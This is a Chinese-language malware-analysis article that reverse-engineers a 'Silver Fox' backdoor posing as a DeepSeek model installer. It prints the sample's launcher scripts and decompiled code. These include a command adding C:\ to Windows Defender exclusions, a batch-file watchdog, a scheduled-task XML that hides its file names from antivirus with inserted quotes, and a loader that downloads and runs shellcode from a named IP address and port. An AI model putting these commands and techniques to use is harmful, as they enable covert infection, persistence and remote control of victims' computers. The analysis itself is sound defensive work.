【软件逆向-【病毒分析】潜伏在AI工具中的幽灵:银狐家族社工攻击的深度剖析】此文章归类为:软件逆向。
近期,AI大模型领域热度飙升,DeepSeek等开源大模型成为开发者与普通用户的热门选择。攻击者敏锐捕捉到这一趋势,将恶意软件伪装成"DeepSeek大模型自动安装助手",利用用户对技术工具的迫切需求实施精准社工攻击。"银狐"家族作为长期活跃的APT组织,擅长通过热点事件伪造合法软件,此次攻击是其新型社会工程学策略的典型体现,该样本来源银狐突袭!DeepSeek本地化部署暗藏“致命陷阱”。
拖入die中,发现是由nsis打包而成的
使用7zip-nsis解包
其中[NSIS].nsi文件为安装配置,关键部分如下。在$APPDATA\Axialis
目录释放文件之后,执行Decision.vbs,然后再将真正的ds大模型安装助手的快捷方式放置于桌面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | Section MainSection ; Section_0 ; AddSize 136708 Sleep 500 SetOutPath $APPDATA\Axialis Sleep 500 File Config.ini Sleep 500 File Config2.ini Sleep 500 File silently.ps1 Sleep 500 File Update.dll Sleep 500 File Decision.vbs Sleep 500 Exec "wscript //B $\"$APPDATA\Axialis\Decision.vbs$\"" SetOutPath $INSTDIR Sleep 500 Sleep 500 SetOverwrite ifnewer File ds大模型安装助手_1.0.0.6_1740119628.exe Sleep 500 CreateShortCut $DESKTOP\ds大模型安装助手_1.0.0.6_1740119628.lnk $INSTDIR\ds大模型安装助手_1.0.0.6_1740119628.exe SectionEnd |
解包后$APPDATA\Axialis
目录下为后门程序
首先是Decision.vbs,用于启动同路径下的silently.ps1文件
Set objShell = CreateObject("WScript.Shell") RoamingPath = objShell.ExpandEnvironmentStrings("%APPDATA%") FilePath = RoamingPath & "\Axialis\silently.ps1" objShell.Run "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File """ & FilePath & """", 0, False
silently.ps1文件内容如下,用于启动同路径下的Update.dll的导出函数TCGamerUpdateMain
1 2 3 4 5 6 7 8 9 10 11 12 13 14 | $RoamingDir = [System.Environment]::GetFolderPath( 'ApplicationData' ) $DllPath = Join-Path $RoamingDir "Axialis\Update.dll" $DllPathEscaped = $DllPath -replace '\\' , '\\\\' $code = @" using System; using System.Runtime.InteropServices; public class DllInvoker { [DllImport( "$DllPathEscaped" , CallingConvention = CallingConvention.Cdecl)] public static extern void TCGamerUpdateMain(); } "@ Add-Type -TypeDefinition $code [DllInvoker]::TCGamerUpdateMain() |
首先创建互斥体保证只有一个实例运行,然后获取C:\Users\username\AppData\Roaming\Axialis
这个路径下的Config2.ini
文件。
然后在内存中加载shellcode
shellcode创建线程执行操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | int sub_10014540() { int v0; // eax int v1; // eax v0 = (( int (__stdcall *)( int ))kernel32_GetCurrentThread)(5000); (( void (__stdcall *)( int ))kernel32_WaitForSingleObject)(v0); (( void (__stdcall *)(_DWORD, _DWORD, int (__usercall *)@<eax>( int @<ebp>), _DWORD, _DWORD, _DWORD))kernel32_CreateThread)( 0, 0, sub_10013F20, 0, 0, 0); (( void (__stdcall *)(_DWORD, _DWORD, void *, _DWORD, _DWORD, _DWORD))kernel32_CreateThread)( 0, 0, &sub_1000A9F0, 0, 0, 0); (( void (__stdcall *)(_DWORD, _DWORD, void *, _DWORD, _DWORD, _DWORD))kernel32_CreateThread)( 0, 0, &sub_100137E0, 0, 0, 0); (( void (__stdcall *)(_DWORD, _DWORD, void *, _DWORD, _DWORD, _DWORD))kernel32_CreateThread)( 0, 0, &sub_10014390, 0, 0, 0); (( void (__stdcall *)(_DWORD, _DWORD, void *, _DWORD, _DWORD, _DWORD))kernel32_CreateThread)( 0, 0, &sub_100142F0, 0, 0, 0); v1 = (( int (__stdcall *)( int ))kernel32_GetCurrentThread)(5000); (( void (__stdcall *)( int ))kernel32_WaitForSingleObject)(v1); (( void (*)( void ))byte_10013450)(); (( void (__stdcall *)(_DWORD))unk_1001DC47)(0); return 0; } |
通过执行指令powershell -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath 'C:\\'\"
将c盘添加到windows defender白名单中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 | int __usercall sub_10013F20@<eax>( int a1@<ebp>) { v37 = a1; v38 = retaddr; v36 = -1; v35 = &unk_10032941; ExceptionList = NtCurrentTeb()->NtTib.ExceptionList; *(_DWORD *)&v33[1] = &v39; v28 = sub_10007310(( char *)&v29 + 1); qmemcpy(v30, "powershell -ExecutionPolicy Bypass -Command \"Add-MpPreference -ExclusionPath 'C:\\'\"" , sizeof (v30)); ---------------------------------省略部分内容---------------------------------------- qmemcpy(v32, "/C " , sizeof (v32)); ---------------------------------省略部分内容---------------------------------------- (( void (__cdecl *)(_DWORD *, _DWORD, int ))unk_10017060)(v13, 0, 56); v13[0] = 64; v13[1] = 0; v13[2] = "open" ; v13[3] = "cmd.exe" ; v13[4] = string(v11); v13[5] = 0; v13[6] = 0; if ( (( int (__stdcall *)( int *))shell32_ShellExecuteEx)(&v12) && v14 ) { (( void (__stdcall *)( int , int ))kernel32_WaitForSingleObject)(v14, -1); (( void (__stdcall *)( int ))kernel32_CloseHandle)(v14); } return maybe_alloc(v11); } |
执行流程如下
写入monitor.bat并执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 | int __cdecl sub_10002D00( void *a1) { (( void (__stdcall *)( int , _BYTE *))kernel32_GetTempPathA)(260, v6); str_addr = get_str_addr(v11, ( int )v6); v22 = str_addr; v24 = 0; str_concat(( int )v13, str_addr, ( int ) "target.pid" ); LOBYTE(v24) = 2; maybe_alloc(v11); v21 = get_str_addr(v10, ( int )v6); v20 = v21; LOBYTE(v24) = 3; str_concat(( int )v14, v21, ( int ) "monitor.bat" ); LOBYTE(v24) = 5; maybe_alloc(v10); create_file(v12, v14, 2, 64, 1); LOBYTE(v24) = 6; if ( (unsigned __int8 )(( int (__thiscall *)( char *))judge_exist)(v12) ) { (( void (__cdecl *)( char *, const char *))write)(v12, "@echo off\n" ); (( void (*)( char *, const char *, ...))write)(v12, "set \"PIDFile=%TEMP%\\target.pid\"\n" ); v1 = (( int (__cdecl *)( char *, const char *))write)(v12, "set \"VBSPath=" ); v2 = write_2(v1, a1); (( void (__cdecl *)( int , void *))write)(v2, &unk_1003ACB8); (( void (*)( char *, const char *, ...))write)(v12, "set /p pid=<\"%PIDFile%\"\n" ); (( void (*)( char *, const char *, ...))write)(v12, "del \"%PIDFile%\"\n" ); (( void (__cdecl *)( char *, const char *))write)(v12, ":check\n" ); (( void (*)( char *, const char *, ...))write)(v12, "tasklist /fi \"PID eq %pid%\" | findstr /i \"%pid%\" > nul\n" ); (( void (__cdecl *)( char *, const char *))write)(v12, "if errorlevel 1 (\n" ); (( void (*)( char *, const char *, ...))write)(v12, " cscript //nologo \"%VBSPath%\"\n" ); (( void (__cdecl *)( char *, const char *))write)(v12, " exit\n" ); (( void (__cdecl *)( char *, void *))write)(v12, &unk_1003AD80); (( void (__cdecl *)( char *, const char *))write)(v12, "timeout /t 15\n" ); (( void (__cdecl *)( char *, const char *))write)(v12, "goto check\n" ); (( void (__thiscall *)( char *))file_close)(v12); } v3 = ( const char *)string(v14); (( void (*)(_BYTE *, const char *, ...))exec)(v5, "cmd.exe /B /c \"%s\"" , v3); v19 = (( int (*)( void ))kernel32_GetCurrentProcessId)(); create_file(v7, v13, 2, 64, 1); LOBYTE(v24) = 7; if ( (unsigned __int8 )(( int (__thiscall *)( char *))judge_exist)(v7) ) { (( void (__thiscall *)( char *, int ))unk_100041E0)(v7, v19); (( void (__thiscall *)( char *))file_close)(v7); } (( void (__cdecl *)(_DWORD *, _DWORD, int ))unk_10017060)(v8, 0, 68); v8[0] = 68; v8[11] = 1; v9 = 5; v15 = 0; v16 = 0; v17 = 0; v18 = 0; if ( (( int (__stdcall *)(_DWORD, _BYTE *, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD, _DWORD *, int *))kernel32_CreateProcessA)( 0, v5, 0, 0, 0, 0, 0, 0, v8, &v15) ) { (( void (__stdcall *)( int ))kernel32_CloseHandle)(v15); (( void (__stdcall *)( int ))kernel32_CloseHandle)(v16); } LOBYTE(v24) = 6; (( void (__thiscall *)( char *))unk_10003090)(v7); LOBYTE(v24) = 5; (( void (__thiscall *)( char *))unk_10003090)(v12); LOBYTE(v24) = 2; maybe_alloc(v14); v24 = -1; return maybe_alloc(v13); } |
monitor.bat内容如下,作用为充当守护进程,在特定进程被关闭时就重新启动该进程
1 2 3 4 5 6 7 8 9 10 11 12 13 | @echo off set "PIDFile=%TEMP%\target.pid" set "VBSPath=C:\Users\123\AppData\Roaming\Axialis\Decision.vbs" set /p pid=< "%PIDFile%" del "%PIDFile%" :check tasklist /fi "PID eq %pid%" | findstr /i "%pid%" > nul if errorlevel 1 ( cscript //nologo "%VBSPath%" exit ) timeout /t 15 goto check |
创建xml和ps1文件并调用ps1文件添加计划任务
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 | // bad sp value at call has been detected, the output may be wrong! int __usercall sub_1000A9F0@<eax>( int a1@<ecx>, int a2@<ebp>, _DWORD *a3@<edi>, int a4@<esi>) { (( void (__stdcall *)( int , int *, int , struct _EXCEPTION_REGISTRATION_RECORD *, void *, int ))unk_10016430)( a1, &v50, a1, NtCurrentTeb()->NtTib.ExceptionList, &unk_1003270B, -1); v48 = ( int )&v50; v47 = a4; v46 = a3; get_str_addr(&v49[-1002], ( int ) ".NET Framework NGEN v4.0.30325" ); v48 = 0; v49[-885] = get_Roaming_FolderPath(&v49[-1100], 26); v49[-886] = v49[-885]; LOBYTE(v48) = 1; str_concat(( int )&v49[-996], ( void *)v49[-886], ( int ) "\\Axialis\\Decision.vbs" ); LOBYTE(v48) = 3; maybe_alloc(&v49[-1100]); v4 = string(&v49[-996]); (( void (__cdecl *)(_DWORD *, _DWORD *))unk_1000A7F0)(&v49[-990], v4); LOBYTE(v48) = 4; v49[-805] = sub_10007310(( char *)&v49[-113] + 3); qmemcpy( &v49[-112], "base64编码后的数据" , 220); v5 = (_DWORD *)(( int (__thiscall *)(_DWORD *, _DWORD *, _DWORD *))unk_10001730)(&v49[-1016], &v49[-112], &v49[-57]); v6 = v5[1]; v49[-864] = *v5; v49[-863] = v6; (( void (__thiscall *)(_DWORD *, _DWORD, _DWORD, _DWORD))unk_10011190)(&v49[-892], v49[-864], v49[-863], v49[-805]); LOBYTE(v48) = 5; v49[-806] = sub_10007310(( char *)&v49[-113] + 2); qmemcpy( &v49[-804], “base64编码的数据”, 2744); ---------------------------------省略部分内容---------------------------------------- qmemcpy(&v49[-24], "\\PolicyManagement.xml" , 21); v13 = (_DWORD *)(( int (__thiscall *)(_DWORD *, _DWORD *, char *))unk_10001730)( &v49[-1018], &v49[-24], ( char *)&v49[-19] + 1); ---------------------------------省略部分内容---------------------------------------- qmemcpy(&v49[-56], "powershell -Command \"Set-ExecutionPolicy Unrestricted -Scope CurrentUser\"" , 73); v25 = (_DWORD *)(( int (__thiscall *)(_DWORD *, _DWORD *, char *))unk_10001730)( &v49[-1078], &v49[-56], ( char *)&v49[-38] + 1); ---------------------------------省略部分内容---------------------------------------- qmemcpy(&v49[-18], "cmd.exe /C " , 11); v27 = (_DWORD *)(( int (__thiscall *)(_DWORD *, _DWORD *, char *))unk_10001730)( &v49[-1010], &v49[-18], ( char *)&v49[-16] + 3); ---------------------------------省略部分内容---------------------------------------- qmemcpy(&v49[-35], "powershell -ExecutionPolicy Bypass -File " , 41); v30 = (_DWORD *)(( int (__thiscall *)(_DWORD *, _DWORD *, char *))unk_10001730)( &v49[-1012], &v49[-35], ( char *)&v49[-25] + 1); v31 = v30[1]; v49[-880] = *v30; v49[-879] = v31; (( void (__thiscall *)(_DWORD *, _DWORD, _DWORD, _DWORD))unk_10011190)(&v49[-928], v49[-880], v49[-879], v49[-853]); LOBYTE(v48) = 67; (( void (__cdecl *)(_DWORD *, _DWORD *))unk_1000A6B0)(&v49[-966], &v49[-928]); LOBYTE(v48) = 69; (( void (__thiscall *)(_DWORD *))unk_10011170)(&v49[-928]); v49[-859] = string(&v49[-898]); v49[-854] = sub_10007310(( char *)&v49[-115] + 2); qmemcpy(v43, "/C " , sizeof (v43)); ---------------------------------省略部分内容---------------------------------------- (( void (__cdecl *)(_DWORD *, _DWORD, int ))unk_10017060)(&v49[-947], 0, 56); v49[-947] = 64; v49[-946] = 0; v49[-945] = "open" ; v49[-944] = "cmd.exe" ; v49[-943] = string(&v49[-966]); v49[-942] = 0; v49[-941] = 0; if ( (( int (__stdcall *)(_DWORD *))shell32_ShellExecuteEx)(&v49[-948]) && v49[-934] ) { (( void (__stdcall *)(_DWORD, int ))kernel32_WaitForSingleObject)(v49[-934], -1); (( void (__stdcall *)(_DWORD))kernel32_CloseHandle)(v49[-934]); } return v49[-862]; } |
xml文件内容如下,用于执行Decision.vbs,其中利用了引号来规避杀软的字符串匹配""D""e""c""i""s""i""o""n.vbs
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 | <?xml version= "1.0" encoding= "UTF-16" ?> <Task version= "1.3" xmlns= "fdeK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4y4U0K9r3g2E0j5i4y4Q4x3X3g2E0K9h3y4J5L8%4y4G2k6Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6%4K9h3&6V1L8%4N6K6i4K6u0r3x3U0l9H3y4q4)9J5c8U0l9J5i4K6u0r3L8h3W2@1i4K6u0r3N6r3q4K6K9H3`.`." > <RegistrationInfo> <Date>2006-11-10T14:29:55.5851926</Date> <Author>Microsoft Corporation</Author> <Description>更新用户的 AD RMS 权限策略模板。如果对服务器上模板分发 Web 服务的身份验证失败,此作业将提供凭据提示。</Description> <URI>\.NET Framework NGEN v4.0.30325</URI> <SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;WD)</SecurityDescriptor> </RegistrationInfo> <Triggers> <LogonTrigger id= "06b3f632-87ad-4ac0-9737-48ea5ddbaf11" > <Enabled> true </Enabled> <Delay>PT30S</Delay> </LogonTrigger> </Triggers> <Principals> <Principal id= "AllUsers" > <GroupId>S-1-1-0</GroupId> <RunLevel>HighestAvailable</RunLevel> </Principal> </Principals> <Settings> <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy> <DisallowStartIfOnBatteries> false </DisallowStartIfOnBatteries> <StopIfGoingOnBatteries> false </StopIfGoingOnBatteries> <AllowHardTerminate> false </AllowHardTerminate> <StartWhenAvailable> true </StartWhenAvailable> <RunOnlyIfNetworkAvailable> true </RunOnlyIfNetworkAvailable> <IdleSettings> <StopOnIdleEnd> true </StopOnIdleEnd> <RestartOnIdle> false </RestartOnIdle> </IdleSettings> <AllowStartOnDemand> true </AllowStartOnDemand> <Enabled> true </Enabled> <Hidden> false </Hidden> <RunOnlyIfIdle> false </RunOnlyIfIdle> <DisallowStartOnRemoteAppSession> false </DisallowStartOnRemoteAppSession> <UseUnifiedSchedulingEngine> true </UseUnifiedSchedulingEngine> <WakeToRun> false </WakeToRun> <ExecutionTimeLimit>PT0S</ExecutionTimeLimit> <Priority>7</Priority> <RestartOnFailure> <Interval>PT1M</Interval> <Count>16</Count> </RestartOnFailure> </Settings> <Actions Context= "AllUsers" > <Exec> <Command>w "" s "" c "" r "" i "" p "" t.exe</Command> <Arguments>C:\Users\123\AppData\Roaming\Axialis\ "" D "" e "" c "" i "" s "" i "" o "" n.vbs</Arguments> </Exec> </Actions> </Task> |
然后释放文件updated.ps1内容如下,用于添加计划任务
1 2 3 4 | $xmlPath = "C:\Users\123\AppData\Local\PolicyManagement.xml" $taskName = ".NET Framework NGEN v4.0.30325" $xmlContent = Get-Content -Path $xmlPath | Out-String Register-ScheduledTask -Xml $xmlContent -TaskName $taskName |
然后调用shell32_ShellExecuteEx
执行
1 | /C powershell -ExecutionPolicy Bypass -File C:\\Users\\123\\AppData\\Local\\updated.ps1 |
遍历寻找进程Telegram.exe
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | char __cdecl sub_10013690( int a1) { _DWORD v2[9]; // [esp+0h] [ebp-130h] BYREF _BYTE v3[260]; // [esp+24h] [ebp-10Ch] BYREF int v4; // [esp+128h] [ebp-8h] char v5; // [esp+12Fh] [ebp-1h] v5 = 0; v4 = (( int (__stdcall *)( int , _DWORD))kernel32_CreateToolhelp32Snapshot)(2, 0); if ( v4 == -1 ) return 0; v2[0] = 296; if ( (( int (__stdcall *)( int , _DWORD *))kernel32_Process32First)(v4, v2) ) { while ( !(unsigned __int8 )(( int (__cdecl *)( int , _BYTE *))unk_100145F0)(a1, v3) ) { if ( !(( int (__stdcall *)( int , _DWORD *))kernel32_Process32Next)(v4, v2) ) goto LABEL_7; } v5 = 1; } LABEL_7: (( void (__stdcall *)( int ))kernel32_CloseHandle)(v4); return v5; } |
如果寻找到这个进程就调用shell32_ShellExecuteEx打开rundll32.exe执行C:\\Users\\123\\AppData\\Roaming\\\\Axialis\\\\Update.dll,TCGamerUpdateMain
。即调用这个导出函数执行config2.ini的内容
内存加载config2.ini,然后将其dump下来,发现他pdb没有删除
发现这是未混淆过的版本,功能与上文一致
然后执行远控模块
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 | int sub_10013450() { _BYTE v1[400]; // [esp+0h] [ebp-1D4h] BYREF _DWORD v2[8]; // [esp+190h] [ebp-44h] BYREF void (*v3)( void ); // [esp+1B0h] [ebp-24h] _DWORD *v4; // [esp+1B4h] [ebp-20h] BYREF int v5; // [esp+1B8h] [ebp-1Ch] int v6; // [esp+1BCh] [ebp-18h] int v7; // [esp+1C0h] [ebp-14h] int v8; // [esp+1C4h] [ebp-10h] int v9; // [esp+1C8h] [ebp-Ch] int v10; // [esp+1CCh] [ebp-8h] _DWORD *i; // [esp+1D0h] [ebp-4h] v4 = 0; i = 0; v10 = -1; (( void (__stdcall *)( int , _BYTE *))ws2_32_WSAStartup)(514, v1); v2[0] = 0; memset (&v2[4], 0, 16); v2[1] = 2; v2[2] = 1; v2[3] = 6; while ( 1 ) { v5 = (( int (__stdcall *)( char *, const char *, _DWORD *, _DWORD **))ws2_32_getaddrinfo)( a2712440155, "18852" , v2, &v4); if ( !v5 ) { for ( i = v4; i; i = (_DWORD *)i[7] ) { v10 = (( int (__stdcall *)(_DWORD, _DWORD, _DWORD))ws2_32_socket)(i[1], i[2], i[3]); if ( v10 != -1 ) { v5 = (( int (__stdcall *)( int , _DWORD, _DWORD))ws2_32_connect)(v10, i[6], i[4]); if ( v5 != -1 ) break ; (( void (__stdcall *)( int ))ws2_32_closesocket)(v10); v10 = -1; } } (( void (__stdcall *)(_DWORD *))ws2_32_FreeAddrInfoW)(v4); if ( v10 != -1 ) break ; } (( void (__stdcall *)( int ))kernel32_Sleep)(3000); } v6 = 0; v8 = 4096; v7 = (( int (__cdecl *)( int ))unk_1001DEDA)(4096); v9 = 0; while ( 1 ) { v6 = (( int (__stdcall *)( int , int , int , _DWORD))ws2_32_recv)(v10, v9 + v7, v8 - v9, 0); if ( v6 <= 0 ) break ; v9 += v6; if ( v9 == v8 ) { v8 *= 2; v7 = (( int (__cdecl *)( int , int ))unk_1001DECF)(v7, v8); } if ( v6 <= 0 ) goto LABEL_19; } if ( v6 ) { (( void (__stdcall *)( int ))ws2_32_closesocket)(v10); (( void (*)( void ))ws2_32_WSACleanup)(); (( void (__cdecl *)( int ))unk_1001CD69)(v7); return 1; } LABEL_19: v3 = ( void (*)( void ))kernel32_VirtualAlloc(0, v9, 12288, 64); (( void (__cdecl *)( void (*)( void ), int , int ))unk_10016AD0)(v3, v7, v9); v3(); (( void (__cdecl *)( int ))unk_1001CD69)(v7); (( void (__stdcall *)( int ))ws2_32_closesocket)(v10); (( void (*)( void ))ws2_32_WSACleanup)(); return 0; } |
远程加载shllcode,从27.124.40.155:18852
,其中接收了1c9db字节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 | int sub_10013450() { _BYTE v1[400]; // [esp+0h] [ebp-1D4h] BYREF _DWORD v2[8]; // [esp+190h] [ebp-44h] BYREF void (*v3)( void ); // [esp+1B0h] [ebp-24h] _DWORD *v4; // [esp+1B4h] [ebp-20h] BYREF int v5; // [esp+1B8h] [ebp-1Ch] int v6; // [esp+1BCh] [ebp-18h] int v7; // [esp+1C0h] [ebp-14h] int v8; // [esp+1C4h] [ebp-10h] int v9; // [esp+1C8h] [ebp-Ch] int v10; // [esp+1CCh] [ebp-8h] _DWORD *i; // [esp+1D0h] [ebp-4h] v4 = 0; i = 0; v10 = -1; (( void (__stdcall *)( int , _BYTE *))ws2_32_WSAStartup)(514, v1); v2[0] = 0; memset (&v2[4], 0, 16); v2[1] = 2; v2[2] = 1; v2[3] = 6; while ( 1 ) { v5 = (( int (__stdcall *)( char *, const char *, _DWORD *, _DWORD **))ws2_32_getaddrinfo)( a2712440155, "18852" , v2, &v4); if ( !v5 ) { for ( i = v4; i; i = (_DWORD *)i[7] ) { v10 = (( int (__stdcall *)(_DWORD, _DWORD, _DWORD))ws2_32_socket)(i[1], i[2], i[3]); if ( v10 != -1 ) { v5 = (( int (__stdcall *)( int , _DWORD, _DWORD))ws2_32_connect)(v10, i[6], i[4]); if ( v5 != -1 ) break ; (( void (__stdcall *)( int ))ws2_32_closesocket)(v10); v10 = -1; } } (( void (__stdcall *)(_DWORD *))ws2_32_FreeAddrInfoW)(v4); if ( v10 != -1 ) break ; } (( void (__stdcall *)( int ))kernel32_Sleep)(3000); } v6 = 0; v8 = 4096; v7 = (( int (__cdecl *)( int ))unk_1001DEDA)(4096); v9 = 0; while ( 1 ) { v6 = (( int (__stdcall *)( int , int , int , _DWORD))ws2_32_recv)(v10, v9 + v7, v8 - v9, 0); if ( v6 <= 0 ) break ; v9 += v6; if ( v9 == v8 ) { v8 *= 2; v7 = (( int (__cdecl *)( int , int ))unk_1001DECF)(v7, v8); } if ( v6 <= 0 ) goto LABEL_19; } if ( v6 ) { (( void (__stdcall *)( int ))ws2_32_closesocket)(v10); (( void (*)( void ))ws2_32_WSACleanup)(); (( void (__cdecl *)( int ))unk_1001CD69)(v7); return 1; } LABEL_19: v3 = ( void (*)( void ))kernel32_VirtualAlloc(0, v9, 12288, 64); (( void (__cdecl *)( void (*)( void ), int , int ))unk_10016AD0)(v3, v7, v9); v3(); (( void (__cdecl *)( int ))unk_1001CD69)(v7); (( void (__stdcall *)( int ))ws2_32_closesocket)(v10); (( void (*)( void ))ws2_32_WSACleanup)(); return 0; } |
dump下来后发现是一个dll,其中包含c2的配置信息
配置信息如下
连接c2服务器,接收指令并执行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 | char __thiscall sub_75272D80( void *ArgList, LPCWSTR lpString, u_short hostshort) { ResetEvent(*(( HANDLE *)ArgList + 1)); InterlockedExchange(( volatile LONG *)ArgList + 6, 0); *((_DWORD *)ArgList + 5) = timeGetTime(); *((_DWORD *)ArgList + 8) = 0; *((_DWORD *)ArgList + 9) = 0; *((_WORD *)ArgList + 20) = 0; v4 = *((_DWORD *)ArgList + 6); *((_DWORD *)ArgList + 8) = *((_DWORD *)ArgList + 5); *((_DWORD *)ArgList + 9) = v4; *((_WORD *)ArgList + 20) = 202; v5 = socket(2, 1, 6); *((_DWORD *)ArgList + 25) = v5; if ( v5 == -1 ) return 0; v7 = lstrlenW(lpString); cbMultiByte = WideCharToMultiByte(0, 0, lpString, v7, 0, 0, 0, 0); v8 = ( CHAR *)operator new [](cbMultiByte + 1); v9 = lstrlenW(lpString); WideCharToMultiByte(0, 0, lpString, v9, v8, cbMultiByte, 0, 0); v8[cbMultiByte] = 0; v10 = gethostbyname(v8); operator delete (v8); if ( !v10 ) return 0; name.sa_family = 2; *(_WORD *)name.sa_data = htons(hostshort); v16 = *((_DWORD *)ArgList + 25); *(_DWORD *)&name.sa_data[2] = **(_DWORD **)v10->h_addr_list; if ( connect(v16, &name, 16) == -1 ) return 0; v12 = *((_DWORD *)ArgList + 25); *(_DWORD *)optval = 0x40000; setsockopt(v12, 0xFFFF, 4097, optval, 4); v13 = *((_DWORD *)ArgList + 25); *(_DWORD *)optval = 0x40000; setsockopt(v13, 0xFFFF, 4098, optval, 4); v14 = *((_DWORD *)ArgList + 25); *(_DWORD *)v20 = 30000; setsockopt(v14, 0xFFFF, 4102, v20, 4); v15 = *((_DWORD *)ArgList + 25); *(_DWORD *)v19 = 1; if ( !setsockopt(v15, 0xFFFF, 8, v19, 4) ) { v11 = *((_DWORD *)ArgList + 25); vInBuffer[0] = 1; vInBuffer[1] = 180000; vInBuffer[2] = 5000; WSAIoctl(v11, 0x98000004, vInBuffer, 0xCu, 0, 0, &cbBytesReturned, 0, 0); } InterlockedExchange(( volatile LONG *)ArgList + 6, 1); ThrdAddr = 0; *((_DWORD *)ArgList + 23) = _beginthreadex(0, 0, sub_75272FB0, ArgList, 0, &ThrdAddr); *((_DWORD *)ArgList + 24) = _beginthreadex(0, 0, sub_752730C0, ArgList, 0, &v18); return 1; } |
本次分析的恶意样本系APT组织"银狐"利用DeepSeek大模型热度精心策划的社工攻击典型案例。攻击者通过伪造"大模型自动安装助手"软件,借助NSIS打包、PowerShell脚本注入、内存加载等技术,构建了一条隐蔽的攻击链路。其核心策略包括:
1.热点捆绑:以AI技术工具为伪装,精准诱骗技术用户下载;
2.持久控制:结合计划任务欺骗和进程共生机制,确保恶意程序长期存活。
该案例体现了APT攻击者对技术趋势的敏锐捕捉能力,以及对社会工程学与底层系统漏洞的深度融合。
更多【软件逆向-【病毒分析】潜伏在AI工具中的幽灵:银狐家族社工攻击的深度剖析】相关视频教程:www.yxfzedu.com